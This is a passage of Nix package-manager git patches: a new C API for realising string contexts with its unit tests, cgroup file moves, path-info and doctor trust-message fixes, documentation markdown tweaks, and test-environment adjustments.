"gc/gc.h" @@ -528,3 +531,55 @@ void nix_bindings_builder_free(BindingsBuilder * bb) delete (nix::BindingsBuilder *) bb; #endif } + +nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, Value * value, bool isIFD) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + nix::NixStringContext stringContext; + auto rawStr = state->state.coerceToString(nix::noPos, v, stringContext, "while realising a string").toOwned(); + nix::StorePathSet storePaths; + auto rewrites = state->state.realiseContext(stringContext, &storePaths); + + auto s = nix::rewriteStrings(rawStr, rewrites); + + // Convert to the C API StorePath type and convert to vector for index-based access + std::vector vec; + for (auto &sp : storePaths) { + vec.push_back(StorePath{sp}); + } + + return new nix_realised_string { + .str = s, + .storePaths = vec + }; + } + NIXC_CATCH_ERRS_NULL +} + +void nix_realised_string_free(nix_realised_string * s) +{ + delete s; +} + +size_t nix_realised_string_get_buffer_size(nix_realised_string * s) +{ + return s->str.size(); +} + +const char * nix_realised_string_get_buffer_start(nix_realised_string * s) +{ + return s->str.data(); +} + +size_t nix_realised_string_get_store_path_count(nix_realised_string * s) +{ + return s->storePaths.size(); +} + +const StorePath * nix_realised_string_get_store_path(nix_realised_string * s, size_t i) +{ + return &s->storePaths[i]; +} diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index 42218188c..c8e85d181 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -9,6 +9,7 @@ */ #include "nix_api_util.h" +#include "nix_api_store.h" #include "stdbool.h" #include "stddef.h" #include "stdint.h" @@ -69,6 +70,10 @@ typedef struct PrimOp PrimOp; */ typedef struct ExternalValue ExternalValue; +/** @brief String without placeholders, and realised store paths + */ +typedef struct nix_realised_string nix_realised_string; + /** @defgroup primops * @brief Create your own primops * @{ @@ -167,7 +172,10 @@ const char * nix_get_typename(nix_c_context * context, const Value * value); */ bool nix_get_bool(nix_c_context * context, const Value * value); -/** @brief Get string +/** @brief Get the raw string + * + * This may contain placeholders. + * * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return string @@ -425,6 +433,56 @@ nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * builder, void nix_bindings_builder_free(BindingsBuilder * builder); /**@}*/ +/** @brief Realise a string context. + * + * This will + * - realise the store paths referenced by the string's context, and + * - perform the replacement of placeholders. + * - create temporary garbage collection roots for the store paths, for + * the lifetime of the current process. + * - log to stderr + * + * @param[out] context Optional, stores error information + * @param[in] value Nix value, which must be a string + * @param[in] state Nix evaluator state + * @param[in] isIFD If true, disallow derivation outputs if setting `allow-import-from-derivation` is false. + You should set this to true when this call is part of a primop. + You should set this to false when building for your application's purpose. + * @return NULL if failed, are a new nix_realised_string, which must be freed with nix_realised_string_free + */ +nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, Value * value, bool isIFD); + +/** @brief Start of the string + * @param[in] realised_string + * @return pointer to the start of the string. It may not be null-terminated. + */ +const char * nix_realised_string_get_buffer_start(nix_realised_string * realised_string); + +/** @brief Length of the string + * @param[in] realised_string + * @return length of the string in bytes + */ +size_t nix_realised_string_get_buffer_size(nix_realised_string * realised_string); + +/** @brief Number of realised store paths + * @param[in] realised_string + * @return number of realised store paths that were referenced by the string via its context + */ +size_t nix_realised_string_get_store_path_count(nix_realised_string * realised_string); + +/** @brief Get a store path. The store paths are stored in an arbitrary order. + * @param[in] realised_string + * @param[in] index index of the store path, must be less than the count + * @return store path + */ +const StorePath * nix_realised_string_get_store_path(nix_realised_string * realised_string, size_t index); + +/** @brief Free a realised string + * @param[in] realised_string + */ +void nix_realised_string_free(nix_realised_string * realised_string); + + // cffi end #ifdef __cplusplus } diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 4d53bcde6..2741220f1 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -733,10 +733,12 @@ public: bool fullGC(); /** - * Realise the given context, and return a mapping from the placeholders - * used to construct the associated value to their final store path + * Realise the given context + * @param[in] context the context to realise + * @param[out] maybePaths if not nullptr, all built or referenced store paths will be added to this set + * @return a mapping from the placeholders used to construct the associated value to their final store path. */ - [[nodiscard]] StringMap realiseContext(const NixStringContext & context); + [[nodiscard]] StringMap realiseContext(const NixStringContext & context, StorePathSet * maybePaths = nullptr, bool isIFD = true); /* Call the binary path filter predicate used builtins.path etc. */ bool callPathFilter( diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 752176178..e446199ae 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -39,7 +39,7 @@ namespace nix { * Miscellaneous *************************************************************/ -StringMap EvalState::realiseContext(const NixStringContext & context) +StringMap EvalState::realiseContext(const NixStringContext & context, StorePathSet * maybePathsOut, bool isIFD) { std::vector drvs; StringMap res; @@ -61,19 +61,23 @@ StringMap EvalState::realiseContext(const NixStringContext & context) auto ctxS = store->printStorePath(o.path); res.insert_or_assign(ctxS, ctxS); ensureValid(o.path); + if (maybePathsOut) + maybePathsOut->emplace(o.path); }, [&](const NixStringContextElem::DrvDeep & d) { /* Treat same as Opaque */ auto ctxS = store->printStorePath(d.drvPath); res.insert_or_assign(ctxS, ctxS); ensureValid(d.drvPath); + if (maybePathsOut) + maybePathsOut->emplace(d.drvPath); }, }, c.raw); } if (drvs.empty()) return {}; - if (!evalSettings.enableImportFromDerivation) + if (isIFD && !evalSettings.enableImportFromDerivation) error( "cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled", drvs.begin()->to_string(*store) @@ -90,6 +94,8 @@ StringMap EvalState::realiseContext(const NixStringContext & context) auto outputs = resolveDerivedPath(*buildStore, drv, &*store); for (auto & [outputName, outputPath] : outputs) { outputsToCopyAndAllow.insert(outputPath); + if (maybePathsOut) + maybePathsOut->emplace(outputPath); /* Get all the output paths corresponding to the placeholders we had */ if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { @@ -106,10 +112,13 @@ StringMap EvalState::realiseContext(const NixStringContext & context) } if (store != buildStore) copyClosure(*buildStore, *store, outputsToCopyAndAllow); - for (auto & outputPath : outputsToCopyAndAllow) { - /* Add the output of this derivations to the allowed - paths. */ - allowPath(outputPath); + + if (isIFD) { + for (auto & outputPath : outputsToCopyAndAllow) { + /* Add the output of this derivations to the allowed + paths. */ + allowPath(outputPath); + } } return res; diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index 9d54a62f8..3808bf0eb 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -7,6 +7,7 @@ #include "tests/nix_api_expr.hh" +#include "gmock/gmock.h" #include namespace nixC { @@ -97,4 +98,88 @@ TEST_F(nix_api_expr_test, nix_build_drv) nix_store_path_free(drvStorePath); nix_store_path_free(outStorePath); } + +TEST_F(nix_api_expr_test, nix_expr_realise_context_bad_value) +{ + auto expr = "true"; + nix_expr_eval_from_string(ctx, state, expr, ".", value); + assert_ctx_ok(); + auto r = nix_string_realise(ctx, state, value, false); + ASSERT_EQ(nullptr, r); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("cannot coerce"))); } + +TEST_F(nix_api_expr_test, nix_expr_realise_context_bad_build) +{ + auto expr = R"( + derivation { name = "letsbuild"; + system = builtins.currentSystem; + builder = "/bin/sh"; + args = [ "-c" "echo failing a build for testing purposes; exit 1;" ]; + } + )"; + nix_expr_eval_from_string(ctx, state, expr, ".", value); + assert_ctx_ok(); + auto r = nix_string_realise(ctx, state, value, false); + ASSERT_EQ(nullptr, r); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("failed with exit code 1"))); +} + +TEST_F(nix_api_expr_test, nix_expr_realise_context) +{ + // TODO (ca-derivations): add a content-addressed derivation output, which produces a placeholder + auto expr = R"( + '' + a derivation output: ${ + derivation { name = "letsbuild"; + system = builtins.currentSystem; + builder = "/bin/sh"; + args = [ "-c" "echo foo > $out" ]; + }} + a path: ${builtins.toFile "just-a-file" "ooh file good"} + a derivation path by itself: ${ + builtins.unsafeDiscardOutputDependency + (derivation { + name = "not-actually-built-yet"; + system = builtins.currentSystem; + builder = "/bin/sh"; + args = [ "-c" "echo foo > $out" ]; + }).drvPath} + '' + )"; + nix_expr_eval_from_string(ctx, state, expr, ".", value); + assert_ctx_ok(); + auto r = nix_string_realise(ctx, state, value, false); + assert_ctx_ok(); + ASSERT_NE(nullptr, r); + + auto s = std::string(nix_realised_string_get_buffer_start(r), nix_realised_string_get_buffer_size(r)); + + EXPECT_THAT(s, testing::StartsWith("a derivation output:")); + EXPECT_THAT(s, testing::HasSubstr("-letsbuild\n")); + EXPECT_THAT(s, testing::Not(testing::HasSubstr("-letsbuild.drv"))); + EXPECT_THAT(s, testing::HasSubstr("a path:")); + EXPECT_THAT(s, testing::HasSubstr("-just-a-file")); + EXPECT_THAT(s, testing::Not(testing::HasSubstr("-just-a-file.drv"))); + EXPECT_THAT(s, testing::Not(testing::HasSubstr("ooh file good"))); + EXPECT_THAT(s, testing::HasSubstr("a derivation path by itself:")); + EXPECT_THAT(s, testing::EndsWith("-not-actually-built-yet.drv\n")); + + std::vector names; + size_t n = nix_realised_string_get_store_path_count(r); + for (size_t i = 0; i < n; ++i) { + const StorePath * p = nix_realised_string_get_store_path(r, i); + names.push_back(p->path.name()); + } + std::sort(names.begin(), names.end()); + ASSERT_EQ(3, names.size()); + EXPECT_THAT(names[0], testing::StrEq("just-a-file")); + EXPECT_THAT(names[1], testing::StrEq("letsbuild")); + EXPECT_THAT(names[2], testing::StrEq("not-actually-built-yet.drv")); + + nix_realised_string_free(r); +} + +} // namespace nixC diff --git a/tests/unit/libutil-support/tests/nix_api_util.hh b/tests/unit/libutil-support/tests/nix_api_util.hh index 0dfb38f7b..75d302bd6 100644 --- a/tests/unit/libutil-support/tests/nix_api_util.hh +++ b/tests/unit/libutil-support/tests/nix_api_util.hh @@ -23,5 +23,15 @@ protected: } nix_c_context * ctx; + + inline void assert_ctx_ok() { + if (nix_err_code(ctx) == NIX_OK) { + return; + } + unsigned int n; + const char * p = nix_err_msg(nullptr, ctx, &n); + std::string msg(p, n); + FAIL() << "nix_err_code(ctx) != NIX_OK, message: " << msg; + } }; } From c145ce0e1a01f54f7ddf7d38909cf6bd8ec32a88 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 5 Apr 2024 16:15:43 +0200 Subject: [PATCH 0405/1251] realiseContext: Remove no-op replacements A possible use of them might have been to figure out the paths (which can now be retrieved with maybePathsOut), but I have not found evidence that it was used this way, and it would have been broken, because non-CA outputs weren't recorded in the map. --- src/libexpr/primops.cc | 2 -- 1 file changed, 2 deletions(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index e446199ae..5fd3256a5 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -59,7 +59,6 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS }, [&](const NixStringContextElem::Opaque & o) { auto ctxS = store->printStorePath(o.path); - res.insert_or_assign(ctxS, ctxS); ensureValid(o.path); if (maybePathsOut) maybePathsOut->emplace(o.path); @@ -67,7 +66,6 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS [&](const NixStringContextElem::DrvDeep & d) { /* Treat same as Opaque */ auto ctxS = store->printStorePath(d.drvPath); - res.insert_or_assign(ctxS, ctxS); ensureValid(d.drvPath); if (maybePathsOut) maybePathsOut->emplace(d.drvPath); From 513634ab5bf97c32256733d12e7381c4e83e1adf Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 5 Apr 2024 12:25:43 -0400 Subject: [PATCH 0406/1251] Make `cgroup.{cc,hh}` linux-only files Forcing a conditional include, vs making the headers content conditional, I think is more maintainable. It is also how the other platform-specific headers (like `namespaces.hh`) have been adapted. --- src/libstore/build/local-derivation-goal.cc | 2 +- src/libutil/{ => linux}/cgroup.cc | 4 ---- src/libutil/{ => linux}/cgroup.hh | 4 ---- 3 files changed, 1 insertion(+), 9 deletions(-) rename src/libutil/{ => linux}/cgroup.cc (99%) rename src/libutil/{ => linux}/cgroup.hh (96%) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index f8794e783..ab66195b8 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -14,7 +14,6 @@ #include "topo-sort.hh" #include "callback.hh" #include "json-utils.hh" -#include "cgroup.hh" #include "personality.hh" #include "current-process.hh" #include "child.hh" @@ -52,6 +51,7 @@ # include # endif # define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old)) +# include "cgroup.hh" #endif #if __APPLE__ diff --git a/src/libutil/cgroup.cc b/src/libutil/linux/cgroup.cc similarity index 99% rename from src/libutil/cgroup.cc rename to src/libutil/linux/cgroup.cc index de83b5ad1..8b8942643 100644 --- a/src/libutil/cgroup.cc +++ b/src/libutil/linux/cgroup.cc @@ -1,5 +1,3 @@ -#if __linux__ - #include "cgroup.hh" #include "util.hh" #include "file-system.hh" @@ -145,5 +143,3 @@ CgroupStats destroyCgroup(const Path & cgroup) } } - -#endif diff --git a/src/libutil/cgroup.hh b/src/libutil/linux/cgroup.hh similarity index 96% rename from src/libutil/cgroup.hh rename to src/libutil/linux/cgroup.hh index 574ae8e5b..783a0ab87 100644 --- a/src/libutil/cgroup.hh +++ b/src/libutil/linux/cgroup.hh @@ -1,8 +1,6 @@ #pragma once ///@file -#if __linux__ - #include #include @@ -28,5 +26,3 @@ struct CgroupStats CgroupStats destroyCgroup(const Path & cgroup); } - -#endif From a3d5a71c5fad25c6f16b97986e5b7a66accff205 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 5 Apr 2024 14:10:28 -0400 Subject: [PATCH 0407/1251] Slight cleanup of `builtins.derivation` `outputHashAlgo` logic (#10417) This was part of approved PR #10021. Unfortunately that one is stalled on a peculiar Linux test timeout, so trying to get bits of it merged first to bisect failure. --- src/libexpr/primops.cc | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 752176178..8e79f4953 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1127,7 +1127,7 @@ drvName, Bindings * attrs, Value & v) bool contentAddressed = false; bool isImpure = false; std::optional outputHash; - std::string outputHashAlgo; + std::optional outputHashAlgo; std::optional ingestionMethod; StringSet outputs; @@ -1226,7 +1226,7 @@ drvName, Bindings * attrs, Value & v) else if (i->name == state.sOutputHash) outputHash = state.forceStringNoCtx(*i->value, pos, context_below); else if (i->name == state.sOutputHashAlgo) - outputHashAlgo = state.forceStringNoCtx(*i->value, pos, context_below); + outputHashAlgo = parseHashAlgoOpt(state.forceStringNoCtx(*i->value, pos, context_below)); else if (i->name == state.sOutputHashMode) handleHashMode(state.forceStringNoCtx(*i->value, pos, context_below)); else if (i->name == state.sOutputs) { @@ -1244,7 +1244,7 @@ drvName, Bindings * attrs, Value & v) if (i->name == state.sBuilder) drv.builder = std::move(s); else if (i->name == state.sSystem) drv.platform = std::move(s); else if (i->name == state.sOutputHash) outputHash = std::move(s); - else if (i->name == state.sOutputHashAlgo) outputHashAlgo = std::move(s); + else if (i->name == state.sOutputHashAlgo) outputHashAlgo = parseHashAlgoOpt(s); else if (i->name == state.sOutputHashMode) handleHashMode(s); else if (i->name == state.sOutputs) handleOutputs(tokenizeString(s)); @@ -1327,7 +1327,7 @@ drvName, Bindings * attrs, Value & v) "multiple outputs are not supported in fixed-output derivations" ).atPos(v).debugThrow(); - auto h = newHashAllowEmpty(*outputHash, parseHashAlgoOpt(outputHashAlgo)); + auto h = newHashAllowEmpty(*outputHash, outputHashAlgo); auto method = ingestionMethod.value_or(FileIngestionMethod::Flat); @@ -1347,7 +1347,7 @@ drvName, Bindings * attrs, Value & v) state.error("derivation cannot be both content-addressed and impure") .atPos(v).debugThrow(); - auto ha = parseHashAlgoOpt(outputHashAlgo).value_or(HashAlgorithm::SHA256); + auto ha = outputHashAlgo.value_or(HashAlgorithm::SHA256); auto method = ingestionMethod.value_or(FileIngestionMethod::Recursive); for (auto & i : outputs) { From 5a365b0c891b88fc9ade9faa7084ff6ed20c5b59 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 5 Apr 2024 14:31:43 -0400 Subject: [PATCH 0408/1251] Delete dead `openFile` in `binary-cache-store.cc` (#10418) d64cb33e90a5d178222c4e8e3f49d44c33fd93ae / #5111 previously deleted the dead code where this was used, but missed this. --- src/libstore/binary-cache-store.cc | 8 -------- 1 file changed, 8 deletions(-) diff --git a/src/libstore/binary-cache-store.cc b/src/libstore/binary-cache-store.cc index bea2bb370..97b6ec052 100644 --- a/src/libstore/binary-cache-store.cc +++ b/src/libstore/binary-cache-store.cc @@ -124,14 +124,6 @@ void BinaryCacheStore::writeNarInfo(ref narInfo) diskCache->upsertNarInfo(getUri(), std::string(narInfo->path.hashPart()), std::shared_ptr(narInfo)); } -AutoCloseFD openFile(const Path & path) -{ - auto fd = open(path.c_str(), O_RDONLY | O_CLOEXEC); - if (!fd) - throw SysError("opening file '%1%'", path); - return fd; -} - ref BinaryCacheStore::addToStoreCommon( Source & narSource, RepairFlag repair, CheckSigsFlag checkSigs, std::function mkInfo) From c80cd6bb0684c265f09cf0b17908859a306626fd Mon Sep 17 00:00:00 2001 From: Maximilian Bosch Date: Fri, 5 Apr 2024 16:09:20 +0200 Subject: [PATCH 0409/1251] path-info: print correct path when using `nix path-info --store file://... --all --json` When querying all paths in a binary cache store, the path's representation is `-x` (where `x` is the value of `MissingName`) because the .narinfo filenames only contain the hash. Before cc46ea163024254d0b74646e1b38b19896d40040 this worked correctly, because the entire path info was read and the path from this representation was printed, i.e. in the form `-`. Since then however, the direct result from `queryAllValidPaths()` was used as `path`. Added a regression test to make sure the behavior remains correct. --- src/nix/path-info.cc | 8 +++++++- tests/functional/binary-cache.sh | 8 ++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/src/nix/path-info.cc b/src/nix/path-info.cc index 5f10cfb61..921b25d7f 100644 --- a/src/nix/path-info.cc +++ b/src/nix/path-info.cc @@ -43,10 +43,16 @@ static json pathInfoToJSON( for (auto & storePath : storePaths) { json jsonObject; + auto printedStorePath = store.printStorePath(storePath); try { auto info = store.queryPathInfo(storePath); + // `storePath` has the representation `-x` rather than + // `-` in case of binary-cache stores & `--all` because we don't + // know the name yet until we've read the NAR info. + printedStorePath = store.printStorePath(info->path); + jsonObject = info->toJSON(store, true, HashFormat::SRI); if (showClosureSize) { @@ -74,7 +80,7 @@ static json pathInfoToJSON( jsonObject = nullptr; } - jsonAllObjects[store.printStorePath(storePath)] = std::move(jsonObject); + jsonAllObjects[printedStorePath] = std::move(jsonObject); } return jsonAllObjects; } diff --git a/tests/functional/binary-cache.sh b/tests/functional/binary-cache.sh index 7c64a115c..2a8d5ccdb 100644 --- a/tests/functional/binary-cache.sh +++ b/tests/functional/binary-cache.sh @@ -14,6 +14,14 @@ outPath=$(nix-build dependencies.nix --no-out-link) nix copy --to file://$cacheDir $outPath +readarray -t paths < <(nix path-info --all --json --store file://$cacheDir | jq 'keys|sort|.[]' -r) +[[ "${#paths[@]}" -eq 3 ]] +for path in "${paths[@]}"; do + [[ "$path" =~ -dependencies-input-0$ ]] \ + || [[ "$path" =~ -dependencies-input-2$ ]] \ + || [[ "$path" =~ -dependencies-top$ ]] +done + # Test copying build logs to the binary cache. expect 1 nix log --store file://$cacheDir $outPath 2>&1 | grep 'is not available' nix store copy-log --to file://$cacheDir $outPath From 910211f9ffba41f5fa269217192638773a0bf30c Mon Sep 17 00:00:00 2001 From: stuebinm Date: Fri, 5 Apr 2024 23:19:32 +0200 Subject: [PATCH 0410/1251] avoid markdown which the repl's :doc cannot handle code blocks, if not surrounded by empty lines, have the language tags (in these cases, always `nix`) show up in the output of :doc. for example: nix-repl> :doc builtins.parseFlakeRef Synopsis: builtins.parseFlakeRef flake-ref Parse a flake reference, and return its exploded form. For example: nix builtins.parseFlakeRef "github:NixOS/nixpkgs/23.05?dir=lib" evaluates to: nix { dir = "lib"; owner = "NixOS"; ref = "23.05"; repo = "nixpkgs"; type = "github"; } is now instead: nix-repl> :doc builtins.parseFlakeRef Synopsis: builtins.parseFlakeRef flake-ref Parse a flake reference, and return its exploded form. For example: | builtins.parseFlakeRef "github:NixOS/nixpkgs/23.05?dir=lib" evaluates to: | { dir = "lib"; owner = "NixOS"; ref = "23.05"; repo = "nixpkgs"; type = "github"; } --- src/libexpr/flake/flake.cc | 6 ++++++ src/libexpr/primops.cc | 2 ++ src/libexpr/primops/fetchTree.cc | 2 ++ 3 files changed, 10 insertions(+) diff --git a/src/libexpr/flake/flake.cc b/src/libexpr/flake/flake.cc index 4a781beb8..8fe3a1d74 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libexpr/flake/flake.cc @@ -868,10 +868,13 @@ static RegisterPrimOp r3({ Parse a flake reference, and return its exploded form. For example: + ```nix builtins.parseFlakeRef "github:NixOS/nixpkgs/23.05?dir=lib" ``` + evaluates to: + ```nix { dir = "lib"; owner = "NixOS"; ref = "23.05"; repo = "nixpkgs"; type = "github"; } ``` @@ -920,12 +923,15 @@ static RegisterPrimOp r4({ Convert a flake reference from attribute set format to URL format. For example: + ```nix builtins.flakeRefToString { dir = "lib"; owner = "NixOS"; ref = "23.05"; repo = "nixpkgs"; type = "github"; } ``` + evaluates to + ```nix "github:NixOS/nixpkgs/23.05?dir=lib" ``` diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 8e79f4953..8a2b3512b 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1915,11 +1915,13 @@ static RegisterPrimOp primop_outputOf({ *`derivation reference`* must be a string that may contain a regular store path to a derivation, or may be a placeholder reference. If the derivation is produced by a derivation, you must explicitly select `drv.outPath`. This primop can be chained arbitrarily deeply. For instance, + ```nix builtins.outputOf (builtins.outputOf myDrv "out") "out" ``` + will return a placeholder for the output of the output of `myDrv`. This primop corresponds to the `^` sigil for derivable paths, e.g. as part of installable syntax on the command line. diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index 5061e40fd..7906f8ac3 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -650,12 +650,14 @@ static RegisterPrimOp primop_fetchGit({ The public keys against which `rev` is verified if `verifyCommit` is enabled. Must be given as a list of attribute sets with the following form: + ```nix { key = ""; type = ""; # optional, default: "ssh-ed25519" } ``` + Requires the [`verified-fetches` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-verified-fetches). From e73dc0e938c59b071eb24252980935b51cb17106 Mon Sep 17 00:00:00 2001 From: cidkidnix Date: Fri, 5 Apr 2024 16:43:14 -0500 Subject: [PATCH 0411/1251] Use LIBMOUNT_FORCE_MOUNT2=always to workaround new mount API issues --- tests/functional/local-overlay-store/common.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/functional/local-overlay-store/common.sh b/tests/functional/local-overlay-store/common.sh index 13d921c5e..1c70f947f 100644 --- a/tests/functional/local-overlay-store/common.sh +++ b/tests/functional/local-overlay-store/common.sh @@ -1,5 +1,7 @@ source ../common.sh +export LIBMOUNT_FORCE_MOUNT2=always + requireEnvironment () { requireSandboxSupport [[ $busybox =~ busybox ]] || skipTest "no busybox" From a2a633d332f4ca3a38b47f5a524d8d07cead5917 Mon Sep 17 00:00:00 2001 From: Andrew Davis Date: Sat, 6 Apr 2024 10:26:29 -0400 Subject: [PATCH 0412/1251] Prevent nix-daemon.sh from leaking variable into user environment The script at `/nix/store/...-nix-2.21.0/etc/profile.d/nix-daemon.sh` was leaving behind a variable, which was visible in the user's shell environment, but not used outside the script. --- scripts/nix-profile-daemon.sh.in | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/nix-profile-daemon.sh.in b/scripts/nix-profile-daemon.sh.in index d256b24ed..0ec72e797 100644 --- a/scripts/nix-profile-daemon.sh.in +++ b/scripts/nix-profile-daemon.sh.in @@ -69,4 +69,4 @@ else fi export PATH="$NIX_LINK/bin:@localstatedir@/nix/profiles/default/bin:$PATH" -unset NIX_LINK +unset NIX_LINK NIX_LINK_NEW From bd7c26bc7bb7af37c21d46faf28aa0e88606b98f Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sun, 7 Apr 2024 21:37:30 -0400 Subject: [PATCH 0413/1251] Add comment explaining `LIBMOUNT_FORCE_MOUNT2=always` --- .../functional/local-overlay-store/common.sh | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/tests/functional/local-overlay-store/common.sh b/tests/functional/local-overlay-store/common.sh index 1c70f947f..2634f8c8f 100644 --- a/tests/functional/local-overlay-store/common.sh +++ b/tests/functional/local-overlay-store/common.sh @@ -1,5 +1,26 @@ source ../common.sh +# The new Linux mount interface does not seem to support remounting +# OverlayFS mount points. +# +# It is not clear whether this is intentional or not: +# +# The kernel source code [1] would seem to indicate merely remounting +# while *changing* mount options is now an error because it erroneously +# succeeded (by ignoring those new options) before. However, we are +# *not* trying to remount with changed options, and are still hitting +# the failure when using the new interface. +# +# For further details, see these `util-linux` issues: +# +# - https://github.com/util-linux/util-linux/issues/2528 +# - https://github.com/util-linux/util-linux/issues/2576 +# +# In the meantime, setting this environment variable to "always" will +# force the use of the old mount interface, keeping the remounting +# working and these tests passing. +# +# [1]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/fs/overlayfs/params.c?id=3006adf3be79cde4d14b1800b963b82b6e5572e0#n549 export LIBMOUNT_FORCE_MOUNT2=always requireEnvironment () { From dea23c3c9b0f0770e915bef3b1006f8f6cb225d8 Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Sun, 7 Apr 2024 22:43:02 -0700 Subject: [PATCH 0414/1251] "but doctor, I AM the untrusted store": nix doctor had wrong trustedness This probably snuck in in a refactor using truthiness or so. The trustedness flag was having the optional fullness checked, rather than the actual contained trust level. Also adds some tests. ``` m1@6876551b-255d-4cb0-af02-8a4f17b27e2e ~ % nix store ping warning: 'nix store ping' is a deprecated alias for 'nix store info' Store URL: daemon Version: 2.20.4 Trusted: 0 m1@6876551b-255d-4cb0-af02-8a4f17b27e2e ~ % nix doctor warning: 'doctor' is a deprecated alias for 'config check' [PASS] PATH contains only one nix version. [PASS] All profiles are gcroots. [PASS] Client protocol matches store protocol. [INFO] You are trusted by store uri: daemon ``` --- src/nix/config-check.cc | 7 +++---- tests/functional/legacy-ssh-store.sh | 7 ++++++- tests/functional/remote-store.sh | 2 ++ 3 files changed, 11 insertions(+), 5 deletions(-) diff --git a/src/nix/config-check.cc b/src/nix/config-check.cc index 8d4717e15..661e1377b 100644 --- a/src/nix/config-check.cc +++ b/src/nix/config-check.cc @@ -145,10 +145,9 @@ struct CmdConfigCheck : StoreCommand void checkTrustedUser(ref store) { - std::string_view trusted = store->isTrustedClient() - ? "trusted" - : "not trusted"; - checkInfo(fmt("You are %s by store uri: %s", trusted, store->getUri())); + auto trustedMay = store->isTrustedClient(); + std::string_view trustedness = trustedMay ? (*trustedMay ? "trusted" : "not trusted") : "unknown trust"; + checkInfo(fmt("You are %s by store uri: %s", trustedness, store->getUri())); } }; diff --git a/tests/functional/legacy-ssh-store.sh b/tests/functional/legacy-ssh-store.sh index 894efccd4..79c3fba82 100644 --- a/tests/functional/legacy-ssh-store.sh +++ b/tests/functional/legacy-ssh-store.sh @@ -1,4 +1,9 @@ source common.sh +store_uri="ssh://localhost?remote-store=$TEST_ROOT/other-store" + # Check that store info trusted doesn't yet work with ssh:// -nix --store ssh://localhost?remote-store=$TEST_ROOT/other-store store info --json | jq -e 'has("trusted") | not' +nix --store "$store_uri" store info --json | jq -e 'has("trusted") | not' + +# Suppress grumpiness about multiple nixes on PATH +(nix --store "$store_uri" doctor || true) 2>&1 | grep 'You are unknown trust' diff --git a/tests/functional/remote-store.sh b/tests/functional/remote-store.sh index dc80f8b55..cc5dd1833 100644 --- a/tests/functional/remote-store.sh +++ b/tests/functional/remote-store.sh @@ -13,6 +13,8 @@ startDaemon if isDaemonNewer "2.15pre0"; then # Ensure that ping works trusted with new daemon nix store info --json | jq -e '.trusted' + # Suppress grumpiness about multiple nixes on PATH + (nix doctor || true) 2>&1 | grep 'You are trusted by' else # And the the field is absent with the old daemon nix store info --json | jq -e 'has("trusted") | not' From bd8c276ddbb980be2f9024c071cd304ef8a91b40 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Mon, 8 Apr 2024 11:02:39 +0200 Subject: [PATCH 0415/1251] Improve the `config check` output for stores that don't know about trust Make it proper english --- src/nix/config-check.cc | 11 ++++++++--- tests/functional/legacy-ssh-store.sh | 2 +- 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/src/nix/config-check.cc b/src/nix/config-check.cc index 661e1377b..f7c4cebec 100644 --- a/src/nix/config-check.cc +++ b/src/nix/config-check.cc @@ -145,9 +145,14 @@ struct CmdConfigCheck : StoreCommand void checkTrustedUser(ref store) { - auto trustedMay = store->isTrustedClient(); - std::string_view trustedness = trustedMay ? (*trustedMay ? "trusted" : "not trusted") : "unknown trust"; - checkInfo(fmt("You are %s by store uri: %s", trustedness, store->getUri())); + if (auto trustedMay = store->isTrustedClient()) { + std::string_view trusted = trustedMay.value() + ? "trusted" + : "not trusted"; + checkInfo(fmt("You are %s by store uri: %s", 